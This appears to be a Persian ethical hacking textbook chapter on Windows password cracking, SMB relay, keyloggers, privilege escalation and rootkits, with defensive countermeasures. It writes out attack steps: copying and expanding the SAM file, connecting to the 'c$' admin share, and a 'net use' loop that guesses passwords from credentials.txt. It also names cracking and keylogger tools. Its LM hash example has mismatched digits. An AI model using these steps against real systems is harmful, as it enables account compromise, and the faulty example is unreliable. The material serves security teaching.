  .شوند ذخيره مي shadowيستم لينوكسي در فايلو در س SAMدر سيستم ويندوزي، پسوردها در فايل 

  

  ابزارهاي هك
Legionهاي  ، حدس زدن پسورد را بصورت اتوماتيك در نشستNetBIOS هاي  چندين بازه از آدرس .دهد انجام مي

IP كند تا  را اسكن ميshare هاي ويندوزي را پيدا كند و همچنين داراي ابزارهاي حمله ديكشنري دستي نيز هست.  
  

NTInfoScan يك اسكنر امنيتي است كه براي ويندوز ،NT 4.0 است .NTInfoScan اسكنر آسيب پذيري است كه ،
  .كند براي مشكلات امنيتي موجود در سيستم هدف توليد مي HTMLهايي به فرمت  گزارش

  
Smbbf ابزار بررسي ،SMB در هر دقيقه،  افزار، اين نرم. است كه ابزاري براي بررسي پسوردها در ويندوز است
  .كند پسورد را چك مي 53000

  
L0phtCrackهاي حملات  افزار، داراي قابليت اين نرم .اي براي بررسي و بازيابي پسورد است ، بستهdictionary ،
brute-force و ،hybrid است.  

  
John the Ripper ابزاري دستوري است كه براي شكستن پسوردهاي ،Unix  وNT پسوردهاي شكسته شده، . است

  .هستند كه ممكن است پسورد واقعي نباشند case insensitiveبصورت 
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KerbCrackشامل دو برنامه است ، :kerbsniff  وkerbcrack . كهkerbsniff  براي گوش دادن به شبكه و بدست
، براي يافتن پسوردهاي فايل بدست آمده با استفاده از kerbcrackاست و  Windows 2000/XPهاي  آوردن لاگين
  .است dictionaryو  brute forceحملات 

  

LanManager Hash  

براي امن كردن پسوردها در طول ارسال استفاد  NT Lan Manager (NTLM) hashing، از 2000ويندوز 

. ضعيف است 123456abcdefبراي مثال، پسورد . تواند ضعيف باشد مي NTLM hashingبسته به پسورد، . كند مي

پسورد . 123456ABCDEF: شود ابتدا به حروف بزرگ تبديل ميرمزگذاري شد  NTLMزمانيكه پسورد با الگوريتم 

كه پسورد قبل از اين. __123456ABCDEF: كاراكتر برسد 14شود تا اينكه طول آن به  پر مي blankبا كاراكترهاي 

هر رشته بطور جداگانه رمز . __BCDEFو  123456A: شود كاراكتري به دو بخش تقسيم مي 14رمز شود، رشته 

  :شوند شود و نتايج آن به هم وصل مي مي

123465A = 6BF11E04AFAB197F 

BCDEF__ = F1E9FFDCC75575B15  

  .خواهد بود 6BF11E04AFAB197F F1E9FFDCC75575B15به صورت  hashو نتيجه 

  

  NTLM v2و  LM ،NTLM v1هاي  مقايسه پروتكل

 LM NTLM v1 NTLM v2  ويژگي

  بله  بله  خير  حساسيت نسبت به حروف بزرگ و كوچك

  -  - hash 56bit+56bitطول كليد 

 DES (ECB mode) MD4 MD4  پسورد hashالگوريتم 

 hash 64bit+64bit 128bit 128bitطول مقدار 

 C/R 56bit+56bit+16bit 56bit+56bit+16bit 128bitطول كليد 

 C/R DES (ECB mode) DES (ECB mode) HMAC_MD5الگوريتم 

 C/R 64bit+64bit+64bit 64bit+64bit+64bit 128bitطول مقدار 
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  2000شكستن پسوردهاي ويندوز 

شده است كه در مسير  hashهاي كاربري و پسوردهاي  در ويندوز، شامل نام SAMفايل 

Windows\system32\config شود بنابراين هكر  شود اين فايل قفل مي زمانيكه سيستم روشن مي. قرار دارد

، اين است كه كامپيوتر را با سيستم عامل SAMها براي كپي فايل  يكي از گزينه. تواند اين فايل را كپي كند نمي

 repairتوان فايل را از دايركتوري  در اين حالت مي. راه انداز CDبا  Linuxيا  DOSاندازي كنيد از قبيل  ديگري راه

استفاده ) rdisk /sبا استفاده از (ويندوز براي گرفتن پشتيبان سيستم  RDISKاگر مدير سيستم از قابليت . كپي كرد

براي . شود اد ميايج c:\windows\repairنام دارد در مسير  __.SAMكه  SAMكند، يك كپي فشرده شده از فايل 

  :استفاده كنيد cmdبسط اين فايل، از دستور زير در 

C:\>expand sam.__ sam  

، dictionary، از حملات L0phtCrackافزار  توان با استفاده از نرم پس از آنكه فايل از حالت فشرده خارج شد، مي

brute-force يا ،hybrid استفاده كرد.  

  ابزارهاي هك
Win32CreatedLocalAdminUserاي است كه حساب كاربري جديدي را با نام كاربري و پسورد  ، برنامهx سازد  مي

تواند با  است و مي Metasploitاين عمل، بخشي از پروژه  .كند اضافه مي administratorو آن را به گروه 
Metasploit framework روي ويندوزها اجرا شود.   

  
Offline NT Password Resetter  روشي براي ريست كردن پسوردadministrator ترين روش اين  معمول. است

كه اكنون بصورت محافظت شده  NTFSاندازي كنيد و به پارتيشن  دستگاه را راه Linuxانداز  راه CDاست كه با 
  .نيست، دسترسي پيدا كنيد و پسورد را تغيير دهيد

  
است كه شامل هر سه  2003و  NT ،2000 ،XPهاي كاربر در ويندوزهاي  حساب، براي بررسي پسورد LCPبرنامه 

  .است Brute forceو  Dictionary ،Hybridنوع حمله 
  

، SID&User ،Ophcrack2 ،Crack ،Access Pass View ،Asterisk Loggerهاي ديگري نيز همچون  برنامه
Asterisk Key روند نيز براي شكستن پسورد بكار مي.  
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  به حمله كننده SMB Logon تياده

به كامپيوتر حمله كننده است تا  SMB logonروش ديگر براي كشف پسوردهاي روي شبكه، تغيير مسير 

كند  sniffرا از سرور احراز هويت،  NTLMهاي  براي اين منظور، هكر بايستي پاسخ .شود پسوردها به هكر ارسال مي

ترين تكنيك، ارسال ايميلي به قرباني است كه داراي  رايج. كامپيوتر هكر احراز هويت كندقرباني را اغفال كند تا با و 

زمانيكه قرباني بر روي لينك كليك كرد، بدون آنكه متوجه شود اطلاعات احراز . باشد است SMB Serverلينكي به 

  .كند هويت خود را روي شبكه ارسال مي

  :سازي كنند را پياده SMBتوانند تغيير جهت  ابزارهاي زيادي مي

  ابزارهاي هك
SMBRelay يك ،SMB Server هاي كاربري و  است كه نامhash  هاي پسوردها را از ترافيكSMB  ورودي بدست

  .را انجام دهد man-in-the-middleتواند حملات  ، ميSMBRelay. آورد مي
  

SMBRelay2 مشابه ،SMBRelay هاي  است اما با اين تفاوت كه به جاي آدرسIP از اسامي ،NetBIOS  براي
  .كند هاي كاربري و پسوردها استفاده مي بدست آوردن نام

  
Pwdump2اي است كه  ، برنامهhash  هاي پسوردها را از فايلSAM كنند روي سيستم ويندوز استخراج مي .

  .توانند شكسته شوند مي L0phtCrackپسوردهاي استخراج شده، از طريق 
  

Samdumpاي براي استخراج پسوردهاي  ، برنامهNTLM  كه در فايلSAM ،hash شود اند استفاده مي شده.  
  

C2MYAZZهاي ويندوزي، پسوردها را به صورت رمز نشده  شود كلاينت ، يك برنامه جاسوسي است كه سبب مي
  .دهد كنند را نمايش مي راي اتصال به منابع سرور استفاده ميهاي كاربري و پسوردهايي كه كاربران ب نام. ارسال كند
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  و مقابله با آن SMB Relay MITMحملات 

زمانيكه . دهد كند، رخ مي اندازي مي ، زمانيكه حمله كننده يك سرور جعلي راهSMB Relay MITMحمله 

  .دهد حمله را نشان ميشود، شكل زير، مثالي از اين نوع  كلاينت قرباني، به سرور جعلي متصل مي

  

است كه  SMB signingبراي استفاده از  2000، شامل پيكربندي ويندوز SMB relayهاي مقابله با  روش

 Security Policies/Securityاين تنظيمات در . ي شودراذگ، رمزSMBشود هر بلاك از ارتباطات  سبب مي

Options دنوجود دار.  

  ابزارهاي هك
SMBGrindهاي  ، سرعت نشستL0phtCrack استراق سمع  يرو رب راdump دهد افزايش مي ها.  

  
، XP، 2000جعلي، كامپيوترهايي كه داراي سيستم عامل ويندوز  SMBهاي  ، با ارسال درخواستSMBDieابزار 
NT  هستند راcrash كند مي.  
  

NBTdeputyتواند يك نام كامپيوتري  ، ميNetBIOS هاي را روي شبكه رجيستر كند و به درخواستNetBIOS 
  .كندرا ساده مي SMBRelayهمچنين اين ابزار، استفاده از . پاسخ دهد

  

  مقابله با شكستن پسورد

براي  .كاراكتر باشد 12تا  8طول پسوردها، . براي مقابله با شكستن پسورد، بايد از پسورد قوي استفاده شود

اند، بايد مراقب باشيد كه سرور را  براي پسوردهايي كه در سرور ذخيره شده hashمحافظت از شكستن الگوريتم 
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نام دارد استفاده كند تا  SYSKEY ابزار خود ويندوز كه تواند از ها مي مدير سيستم. بصورت فيزيكي مراقبت كنيد

روي  brute-forceتا حملات  كنيدبررسي را هاي سرور  log .مراقبت بيشتري بر روي سرور يا ديسك داشته باشد

  .ديهاي كاربر را شناسايي كن حساب

 15اگر طول پسورد كمتر از . كند استفاده مي hashبراي ذخيره پسوردهاي كاربران، از دو روش مختلف  زويندو

، NT hashنسبت به  LM hashكند كه  استفاده مي NT hashو  LM hashكاراكتر باشد، ويندوز از دو روش 

ها را  SAM ،LM hashبنابراين، در پايگاه داده . شكند تر مي راحت brute forceتر است و در مقابل حمله  ضعيف

كنند ولي پروتكل  استفاده مي NT hashاز  Kerberosو  NTLM ،NTLM v2هاي  براي اينكه پروتكل. ذخيره نكنيد

LM از ،LM hash تر از  كند كه ضعيف استفاده ميNT hash يا  98، 95تان، ويندوز  بنابراين اگر در شبكه. است

  :هاي زير آن را غير فعال كنيد مكينتاش نداريد بهتر است به يكي از روش

شويد و گزينه زير را غير  Local Security Policyو  Security Options، وارد قسمت Group Policyاز : 1روش 

  Network security: Do not store LAN Manager hash value on next password change: كنيد فعال

  

  :از طريق رجيستري وارد مسير زير شويد: 2روش 

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa  و سپس كليدي به نام

NoLMHash ايجاد كنيد.  

  

  .كاراكتر است استفاده كنيد 15از  پسوردي كه طول آن بيشتر زا: 3روش 

  :همچنين براي مقابله با شكستن پسورد، موارد زير را در نظر بگيريد

 .پسوردهاي پيش فرض را تغيير دهيد .1

 .پسوردهايي كه در ديكشنري وجود دارند را استفاده نكنيد .2

 whoisتوان در  از پسوردي استفاده نكنيد كه مربوط به اسم دستگاه، اسم دامين، يا هر چيز ديگري كه مي .3

 .پيدا كرد باشد

 .پسوردي كه مربوط به علايق شما يا تاريخ تولد شما است استفاده نكنيد .4

 .ارد استفاده كنيدكاراكتر د 21اي كه بيشتر از  خواهيد استفاده كنيد، از كلمه اگر از كلمات ديكشنري مي .5
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  .توانيد براي ساخت پسورد قوي بكار بريد نگاهي خواهيم داشت هاي بعدي، به دو معياري كه مي در بخش

  

  بازه زماني تغيير پسورد

شان را ياهشوند بنابراين، كاربران بايد پسورد) expire(پسوردها بايستي بعد از مدت زمان مشخصي، منقضي 

ها  كنند در نتيجه، مدير سيستم بسيار كوتاه باشد، كاربران پسوردهايشان را فراموش مياگر طول پسورد . تغيير دهند

از طرفي ديگر، اگر اين مدت زمان بسيار طولاني باشد، امنيت به خطر . كنند تسير بايد پسوردهاي كاربران را بارها

شود كه كاربران نتوانند از سه  وصيه ميعلاوه بر اين، ت. روز است 30مدت زمان توصيه شده براي اين بازه، . افتد مي

   .شان دوباره استفاده كنند پسورد قبلي

  

  ها Event Viewer Logبررسي 

ها را بررسي كنند تا هر رخدادي را قبل از اتفاق يا در طول اتفاق تشخيص  Event Viewer logمديران بايد 

ها بتوانند آن را بررسي  شود و تنها مديران سيستمتواند در سيستم ثبت  بطور كلي، چندين تلاش ناموفق مي. دهند

  .كنند

 .ندنك امنيتي، كمك مي logهاي  ، مدير شبكه را براي رمزگشايي و تحليل فايلVisualLastابزارهايي از قبيل 

موثرتر به تر و  تواند به صورت دقيق ميشبكه كند بنابراين مدير  ها باز مي NT event logاين ابزار، ديد بزرگتري را به 

گزارشات  دنناوتبن برنامه براي اين طراحي شده است كه مديران شبكه يا. هاي شبكه دسترسي داشته باشد فعاليت

جستجو شوند كه براي تحليل امنيتي  ،توانند طبق فريم زمان هاي ورود و خروج كاربران را ببينند اين وقايع، مي زمان

  .دنتسهبسيار مهم 
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Event log  ها در مسيرc:\\windows\system32\config\Sec.Event.Evt  ردپاهاي قرار دارند كه شامل

  .حمله كننده است brute-forceهاي  تلاش

هاي كاربران در اكتيو دايركتوري  دهد كه پايگاه داده حساب ، به مديران شبكه اجازه ميAccountAuditابزار 

  .دننيببرا ... چون كاربران بدون پسورد، يا هاي امنيتي رايج هم را بررسي كنند تا ريسك

  

  پسوردانواع 

دهند،  كاراكترهايي كه پسورد را تشكيل مي. ها، چندين نوع پسورد وجود دارد براي دسترسي به سيستم

  :چندين دسته بندي دارند

 تنها حروف •

 تنها اعداد •

 تنها كاراكترهاي خاص •

 حروف و اعداد •

 خاصتنها حروف و كاراكترهاي  •

 تنها اعداد و كاراكترهاي خاص •

  حروف، اعداد، و كاركترهاي خاص •

ارائه  EC Councilقوانين زير كه توسط . يك پسورد قوي، احتمال كمتري براي شكسته شدن توسط هكر دارد

  :شده است، بايستي براي ايجاد پسورد در نظر گرفته شوند تا در مقابل حملات محافظ باشد

 م كاربري باشدنبايد شامل بخشي از نا •

 كاراكتر باشد 8حداقل طول آن بايد  •

 :هاي زير باشد بايد حداقل شامل سه قسمت از دسته •

o  علائم غير الفبايي)$,:"%@!#( 

o اعداد 

o حروف بزرگ 

o حروف كوچك  
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شناسايي يك پسورد و براي ايجاد دسترسي بيشتر به يك ممكن است هكر از انواع مختلف حملات براي 

  :انواع حملات پسورد به شرح زير است. سيستم استفاده كند

Passive online :حملات . كند مبادلات پسورد بر روي شبكه را استراق سمع ميpassive online شامل حملات ،

sniffing ،man-in-the-middle و ،reply است.  

Active online : پسوردAdministrator حملات . زند را حدس ميactive online ، خودكار پسورد استحدس.  

Offline : حملاتDictionary ،hybrid و ،brute-force است.  

Nonelectronic :Shoulder surfingاستراق سمع صفحه كليد، و مهندسي اجتماعي ،.  

  

  

  Passive Onlineحملات 

كاربر . شود هاي كابلي و وايرلس شناخته مي ، با نام استراق سمع پسورد روي شبكهpassive onlineحمله 

آيد و با فايل  در طول فرايند احراز هويت، پسورد بدست مي. تواند اين گونه حملات را تشخيص دهد نهايي نمي

 hashهاي كاربران، در زمان ارسال روي شبكه  معمولا پسوردهاي حساب .شود ميديكشنري يا ليست كلمات مقايسه 

، محافظت شده hashingاگر پسورد توسط رمزگذاري يا  .دنبگيرشوند تا جلوي دسترسي غير مجاز را  و يا رمز مي

تواند مورد استفاده قرار  هكر وجود دارد براي شكستن الگوريتم مي toolkitمخصوصي كه در باشد، آنگاه ابزارهاي 

  .گيرد
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، هكر در MITMدر حمله . نام دارد) man-in-the0-middle )MITM، بنام passive onlineحمله ديگر 

بين كلاينت و سرور،  snifferبا وارد كردن يك . كند كند و آن را به سرور فروارد مي درخواست احراز هويت دخالت مي

  .كند و هم پسورد را در اين فرآيند بدست آورد sniffتواند هم ارتباطات را  هكر مي

شود با  ز هويت ارسال مياست كه زمانيكه پسورد به سرور احرا passive online، نيز جز حملات replyحمله 

در اين روش، هكر نيازي . كند هاي بعدي ارسال مي دهد و سپس آن را دوباره براي احراز هويت مداخله هكر رخ مي

-هاي احراز هويت آن را ياد بگيرد بلكه بايد آن را بدست آورد و از بسته MITMندارد كه پسورد را بشكند يا از طريق 

  .بعدي استفاده كند هاي پسورد براي احراز هويت

  

  Active Onlineحملات 

وش براي دسترسي در سطح مدير سيستم، حدس زدن يك پسورد ساده است با اين فرض كه مدير رترين  ساده

بر مبناي  كه است active onlineحدس پسورد، يك نوع حمله . سيستم، از يك پسورد ساده استفاده كرده است

  .كند فاكتور انساني در ايجاد پسورد است و تنها بر روي پسوردهاي ضعيف كار مي

  

هاي  باز است، موثرترين روش براي شكستن پسورد در سيستم NetBOIS TCP 139فرض كنيد كه پورت 

و ) $Cيا  $IPC(اين عمل با اتصال به پوشه به اشتراك گذاشته شده . ، حدس زدن پسورد استNTو  2000ويندوز 

، Admin ،Administratorترين نام كاربري براي مدير سيستم،  رايج. تلاش براي تركيبي از نام كاربري و پسورد است

Sysadmin است.  

. هايي كه بصورت پيش فرض به اشتراك گذاشته شده است، وصل شود كند كه به پوشه هكر ابتدا سعي مي

  :، از دستور زير استفاده كنيدCاشته مخفي درايو هاي به اشتراك گذ براي اتصال به پوشه

\\ip_address\c$ 
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هاي ديكشنري، ليست كلمات يا تركيبي از حروف، اعداد و  فايل هايي وجود دارند كه بصورت اتوماتيك برنامه

تنظيم ها، با استفاده از  اغلب سيستم. كنند تا به سيستم وصل شوند كنند و تلاش مي كاراكترهاي خاص توليد مي

  .كنند حداكثر تعداد تلاش براي اتصال به سيستم، از اين نوع حمله پيشگيري مي

  

  حدس پسورد به صورت اتوماتيك

يك فرآيند ساده . كنند حدس پسورد، هكرها از ابزارهاي اتوماتيك استفاده ميعمليات براي تسريع بخشدين به 

 NETاست كه مبتني بر استاندارد  Windows shellبراي خودكارسازي حدس پسورد، استفاده از ابزار دستوري 

USE براي ساخت يك اسكريپت ساده حدس پسورد، مراحل زير را انجام دهيد. است:  

ابزارهاي . ساده بسازيد passwordو  username، يك فايل Windows Notepadبا استفاده از برنامه  .1

فايل را در مسير . دنراد دوجواين كلمات ، براي ساخت ليست Dictionary Generatorخودكاري از قبيل 

C: drive as credentials.txt ذخيره كنيد. 

 :كنيد FOR ،pipeاين فايل را با استفاده از دستور  .2
C:\> FOR /F “token=1, 2*” %i in (credentials.txt) 

استفاده كند و به  credentials.txtرا تايپ كنيد تا از فايل  net use \\targetIP\IPC$ %i /u: %jدستور  .3

 .شده مخفي آن وارد شود shareپوشه 

  

  مقابله با حدس پسورد

هاي هوشمند و بيومتريك، يك لايه امنيتي  كارت. دو گزينه وجود داردپسورد، و حملات براي مقابله با حدس 

هاي  ها از ويژگي بيومتريك. شناسايي شودممكن است كاربري با استفاده از بيومتريك، احراز هويت و . كنند اضافه مي

  .كنند فيزيكي همچون اثر انگشت، اسكن كف دست، و اسكن قرنيه چشم براي شناسايي كاربران استفاده مي

كنند كه هنگام  هاي بيومتريك، از دو فاكتور براي احراز هويت استفاده مي هاي هوشمند و دستگاه كارت

با درخواست چيزي كه كاربر بصورت ). مثلا كارت هوشمند و پسورد(شناسايي كاربر، به دو نوع شناسايي نياز دارند 

يابد و فرآيند احراز  ، امنيت افزايش مي)پسوردشان(داند  و چيزي كه مي) مثلا كارت هوشمند(فيزيكي آن را دارد 

  .شود مقاوم ميحملات پسورد،  در مقابلهويت 
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  حملات آفلاين

معمولا حملات آفلاين نياز به . شود حملات آفلاين از محلي به غير از جائيكه كامپيوتر واقعي قرار دارد انجام مي

سپس هكر آن فايل را به كامپيوتر . دسترسي فيزيكي به كامپيوتر و كپي فايل پسورد از سيستم به حافظه جانبي دارد

جدول زير هر كدام از اين . انواع مختلف از حملات آفلاين پسورد وجود دارد. كندكند تا آن را بش ديگري كپي مي

  :دهد حملات را توضيح مي

  مثال  ها ويژگي  نوع حمله

Dictionary attack پسوردها را از ليست كلمات ديكشنري استفاده كند  Administrator  

Hybrid attack   كند جايگزين ميبرخي از علائم را با كاراكترهاي پسورد  Adm1n1strator  

Brute-force attack  كند تمام تركيبات ممكن از حروف، اعداد، و كاراكترهاي خاص را تست مي  Ms!tr245@F5a  

  

در ديكشنري است براي شناسايي پسوردي كه . ترين و سريعترين نوع حمله است سادهحمله ديكشنري، 

آن كلمات با استفاده از همان  hashمعمولا، هكر از يك فايل كه حاوي تمام كلمات ديكشنري و  .شود استفاده مي

شده در مرحله  hashاند، با پسوردهاي  شده hashسپس، كلمات ديكشنري كه . كند الگوريتم است، استفاده مي

كند بنابراين،  ي باشد كار ميحمله ديكشنري، تنها زمانيكه پسورد يكي از كلمات ديكشنر. دنشو لاگين، مقايسه مي

اگر هكر نتواند با  .كند ها را دارد يعني اگر پسورد قوي انتخاب شده باشد، كار نمي اين نوع حمله، همان محدوديت

اين حمله، با يك . كند استفاده مي hybridاستفاده از حمله ديكشنري، پسورد را پيدا كند، در مرحله بعدي از حمله 

براي مثال، بسياري از كاربران، به . شود خي از حروف آن با علائم جايگزين شده است، شروع ميفايل ديكشنري كه بر

  .كنند تا پسوردشان قوي شود را اضافه مي 1آخر پسوردهايشان، عدد 

-bruteحمله . كند مي تستاست كه تمام حالات مختلف را  brute-forceگيرترين نوع حمله، حمله  زمان

force ،با اين . كند ترين نوع حمله است براي اينكه تمام تركيبات ممكن حروف، اعداد، و علائم را بررسي مي آهسته

  .شوند حال، موثرترين است براي اينكه اگر زمان كافي وجود داشته باشد، تمام پسوردها كشف مي
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Pre-Computed Hashes  

د و در زمان شكستن پسورد، از اين پايگاه نك كند و در پايگاه داده ذخيره مي مي hashتمام كلمات را از قبل 

 ار يدايز ، نياز به فضاي حافظه زيادي دارد و زمانhashذخيره كردن . شود داده براي پيدا كردن پسورد استفاده مي

  .دريگ يم

  

  Nonelectronicحملات 

اين نوع حمله، . كنند ز هيچ دانش فني استفاده نمي، حملاتي هستند كه افني حملات غير الكترونيكي يا غير

  .كردن كيبورد، و آشغال گردي است shoulder surfing ،sniffشامل مهندسي اجتماع، 

آوري اطلاعات با ارزشي  هنر تعامل با مردم يا به صورت رو در رو يا تلفني براي جمع مهندسي اجتماعي،

 ، استوارمبناي ذات خوب مردم كه دوست دارند به بقيه كمك كنندبر مهندسي اجتماعي، . همچون پسوردها است

مهندسي اجتماعي هستند براي اينكه وظيفه آنها كمك به ديگران خوبي براي ها سوژه  help deskاغلب اوقات، . است

، بهترين روش مقابله با اين نوع حمله. آنهاست يداعكردن پسورد، جزئي از وظايف  تسير است و پاك كردن يا

  .كردن پسورد است تسير آموزش آگاهي امنيتي براي همه كاركنان و فرآيندهاي امنيتي براي

Shoulder surfingزمانيكه هكر . كند ، ايستادن در كنار شخص و نگاه كردن به پسوردي است كه تايپ مي

ز گوشه به مانيتور را بعضي صفحات وجود دارند كه نگاه كردن ا. نزديك كاربر يا سيستم است، اين روش موثر است

علاوه بر اين، آموزش و آگاهي پرسنل، احتمال اين نوع حمله را . گيرند كنند بنابراين، جلوي اين حمله را مي سخت مي

  .دهد كاهش مي

اي كاغذ نوشته  ها به دنبال اطلاعاتي از قبيل پسوردهايي كه ممكن است در تكه در آشغال گردي، هكر در زباله

تواند هكر را از كسب اطلاعات پسوردها با  براي مقابله با اين حمله نيز آموزش و آگاهي كاربران مي. گردد شود مي

  .گردي جلوگيري كند آشغال
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هايي هستند كه پسوردهاي پيش فرض بسياري از سازندگان  هايي وجود دارند كه شامل پايگاه داده وب سايت

  :مختلف را دارند

http://www.defaultpassword.com  

http://www.cirt.net/passwords  

http://www.virus.org/default-password  

هاي  هاي امنيتي فايل قفل، Abcom PDF Password Cracker، و PDF Password Crackerافزارهاي  نرم

PDF شكند را مي.  

  

  spywareها و  keyloggerهاي  تكنيك

، انتخاب keystroke loggerآوري پسورد، به شكست منجر شود، استفاده از ابزار  ها براي جمع تلاشاگر همه 

. افزاري انجام گيرد افزاري يا نرم تواند بصورت سخت ، مي)keystroke logger )keylogger. بعدي هكرهاست

keystroke logger را به كامپيوتر وصل  ديلك هحفصافزاري كوچكي هستند كه  هاي سخت افزاري، دستگاه هاي سخت

 keyloggerبراي نصب يك . كنند شود را داخل فايلي در حافظه ذخيره مي كنند و هر كليدي كه فشار داده مي مي

  .افزاري، هكر بايد دسترسي فيزيكي به سيستم داشته باشد سخت

Keylogger و سيستم عامل قرار  ديلك هحفصافزار  بين سختاست كه  تقرسافزار  اي از نرم ، تكهافزاري نرم

ها  ها يا ويروس افزاري توسط تروجان هاي نرم Keylogger. را ثبت كنند كليد هبرضتوانند هر  گيرد بنابراين، مي مي

  .يابند توسعه مي

  ابزارهاي هك
Spectorافزار جاسوسي  ، يك نرم)spyware (شود را مثل دوربين  كه در اينترنت انجام مي يياهراكتمام  است كه
گيرد و آنها را در مكاني  افزار، بصورت خودكار در هر ساعت، صدها عكس از صفحه مانيتور مي اين نرم. كند ضبط مي

  .دافزار را تشخيص دهد و آن را حذف كن تواند اين نرم مي Anti-spector. كند مخفي روي هارد سيستم ذخيره مي
  

www.ketabha.org



 

77 

 

eBlaster ،كند و بلافاصله آنها را به  هاي ورودي و خروجي را دريافت مي افزار جاسوسي اينترنتي است كه ايميل نرم
كند  طبضتواند هر دو طرف يك مكالمه مسنجر را بگيرد و آنها را  ، ميeBloster. كند آدرس ايميل ديگري فروارد مي

  .كندهاي مشاهده شده را ثبت  و همچنين وب سايت
  

SpyAnywhereدهد فعاليت سيستم و اعمال كاربر را ببينيد، سيستم را خاموش،  ، ابزاري است كه به شما اجازه مي
هاي  ها و پنجره دهد برنامه ، به شما اجازه ميSpyAnywhere. فايل سيستم راه دور را ببينيدريستارت كنيد و حتي 

  .اينترنتي و اطلاعات مربوطه را ببينيد historyباز را روي سيستم راه دور كنترل كنيد و 
  

Fearless Key Loggerماند تا تمام ضربات كليد كاربر را بدست آورد ، تروجاني است كه در حافظه باقي مي .
  .تواند توسط هكر بازيابي شود شوند و مي ذخيره مي logكليدهاي زده شده، در فايل 

  
E-mail Keyloggerتوانند  ها مي ايميل. كند و دريافت شده روي سيستم هدف را ثبت ميفرستاده هاي  ، تمام ايميل

محتواي ايميل و هر ضميمه ديگر، ضبط . ساعت مشاهده شوند/كننده، موضوع، و تاريخ كننده، دريافت توسط ارسال
  .شود مي
  

  :عبارتند از Keyloggerبرخي ديگر از نرم افزارهاي 
• Revealer Keylogger 

• Handy Key Logger 

• Ardamax Keylogger 

• Powered Keylogger 

• ELITE Keylogger 

• Quick Keylogger 

• Spy-Keylogger 

• Perferct Keylogger 

• Invisible Keylogger 

• Actual Spy 

• Spytector FTP Keylogger 

• IKS Software Keylogger 

• Ghost Keylogger 
  

  يرورهاي ض سترسيد

دسترسي، به اين معناست كه  حطسافزايش . دسترسي، سومين مرحله در چرخه هك است حطسافزايش 

دسترسي  حطسدسترسي، به معناي افزايش  حطسدر واقع، افزايش . مجوزها و حقوق يك حساب كاربري افزايش يابد

  .يك حساب كاربري به اندازه حساب مدير است
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اگر هكر نتواند نام كاربري و پسورد مدير . دنباشتر  بايد داراي پسوردهاي قويهاي مدير،  حساببطور كلي، 

در اين حالت، هكر به دنبال افزايش سطح  و گردد تري مي سيستم را پيدا كند، به دنبال حسابي با دسترسي پايين

  .دسترسي اين حساب است

بطور . هاي است زمانيكه هكر اكانت و پسورد معتبري را بدست آورد، در مرحله بعدي به دنبال اجراي برنامه

ها را نصب كند و به همين  داشته باشد تا بتواند برنامه administratorكلي، هكر نياز دارد كه حسابي با دسترسي 

  .افزايش سطح دسترسي، بسيار مهم است ،خاطر

  ابزارهاي هك

GetAdmin.exe برنامه كوچكي است كه كاربري را به گروه ،administrator اين برنامه از هسته . كند اضافه مي

براي اجراي برنامه، ورود به . هاي در حال اجرا دسترسي پيدا كند كند تا به پردازش استفاده مي NTسطح پايين 

 Windows NTتنها بر روي . شود ، از طريق دستور يا مروگر اجرا ميGetAdmin.exe. كنسول سرور ضروري است

4.0 SP3 كند كار مي.  

  

  .دينكاضافه  administratorنيست به گروه  adminتوانيد كاربري كه  ، ميHK.exeفاده از برنامه با است

  

Active@ Password Changerحساب  كردن پسورد تسير ، برايadministrator  بصورتlocal است.  

  

سازد و آن را عضو گروه  مي Xو پسورد  Xشود، كاربري با نام  ، زمانيكه بر روي سيستم راه دور اجرا ميx.exeابزار 

administrator كند مي.  

  

  ها اجراي برنامه

، دسترسي پيدا كند، مرحله بعدي كه انجام administratorزمانيكه هكر توانست به حسابي با سطح دسترسي 

 back doorها، نصب  ممكن است هدف اجراي برنامه. ها را روي سيستم هدف اجرا كند دهد اين است كه برنامه مي

ها، يا فقط براي  آوري اطلاعات محرمانه، كپي فايل براي جمع keystroke loggerروي سيستم، نصب يك ) در پشتي(

  .شود مالك سيستم ميها را اجرا كند،  زمانيكه هكر توانست برنامه .آسيب رساندن به سيستم باشد
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  ابزارهاي هك

PsExecنيازي به نصب برنامه روي . كند ها را اجرا مي شود و فايل كه به سيستم راه دور متصل مياي است  ، برنامه

  .سيستم راه دور نيست

  

Remoxecاي است كه با استفاده از سرويس  ، برنامهRPC  ياDCOM مديراني كه پسورد ضعيف دارند . كند كار مي

  .قرار گيرندمورد سو استفاده  DCOMيا  Task Schedulerممكن است از طريق 

  

Alchemy Remote Executerرا روي كامپيوترهاي شبكه از  ها ، ابزار مديريتي براي مديران است كه بتوانند برنامه

  .راه دور اجرا كنند

  

Esma FlexInfo Proست كه شامل ابزارهايي همچون گراف ا ها ، ابزاري براي نمايش اطلاعات و تنظيمات سيستم

CPU usageاست... باند و  ، مانيتور پهناي.  

  

Buffer Overflows  

Buffer overflows )در اصل، حمله . ، تلاش هكر براي سو استفاده از عيب يك برنامه است)سرريزي بافر

. شود فرستد كه منجر به خطاي برنامه مي سرريزي بافر، اطلاعات بسيار زيادي را به يك فيلد متغير در يك برنامه مي

كند و  كند يا دستور را رد مي داند كه در اين حالت چيكار كند بنابراين، يا دستورات را اجرا مي برنامه نمياغلب اوقات، 

  .هاي ديگر است ، كليد اجراي برنامهshellيا  cmdبراي هكر، . دهد كه دستور بعدي را وارد كند به كاربر اجازه مي

  

Rootkit ها  

Rootkit رود كار ميه ب قربانيها روي سيستم  مخفي كردن برنامه، نوعي برنامه است كه اغلب براي .

Rootkit  ها شاملbackdoor هستند تا به هكر كمك كند بطور متوالي و راحت به سيستم دسترسي پيدا كند .

بطور ، Rootkit .بدهدها را توسط يك حساب محدود  ممكن است اجازه شروع پردازش backdoorهمچنين يك 

هايي  هاي كاربري و اطلاعات لاگين سايت گيرد تا بتوانند نام مورد استفاده قرار مي rootkitنويس  پيوسته توسط برنامه

   .كه به آنها نياز دارند را ببيند و دسترسي پيدا كنند
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  :وجود دارند كه عبارتند از rootkitچندين نوع 

Kernel-level rootkits : اين دسته ازrootkit كنند يا آن را جايگزين  ها، كدي را به قسمتي از كد هسته اضافه مي

ها به  معمولا كد جديدي را از طريق درايور دستگاه يا ماژول. دنرا روي سيستم، مخفي نگه دار back doorكنند تا  مي

افزار مناسب،  از نرمها، بسيار خطرناك هستند براي اينكه بدون استفاده  Kernel-level rootkit. ندنك كرنل اضافه مي

  .تر است شناسايي آنها بسيار سخت

Library-level rootkits : اين دسته ازrootkit  ها، فراخواني سيستم)library (اي ديگر كه اطلاعات را با نسخه 

